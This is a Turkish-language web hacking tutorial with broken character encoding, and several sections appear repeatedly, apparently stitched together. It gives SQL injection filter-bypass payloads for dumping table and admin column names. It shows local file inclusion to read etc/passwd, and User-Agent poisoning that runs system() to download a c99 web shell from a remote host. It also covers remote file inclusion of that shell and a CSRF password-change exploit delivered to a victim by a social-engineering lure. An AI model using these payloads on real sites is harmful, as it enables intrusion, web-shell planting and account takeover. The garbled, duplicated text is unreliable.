Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
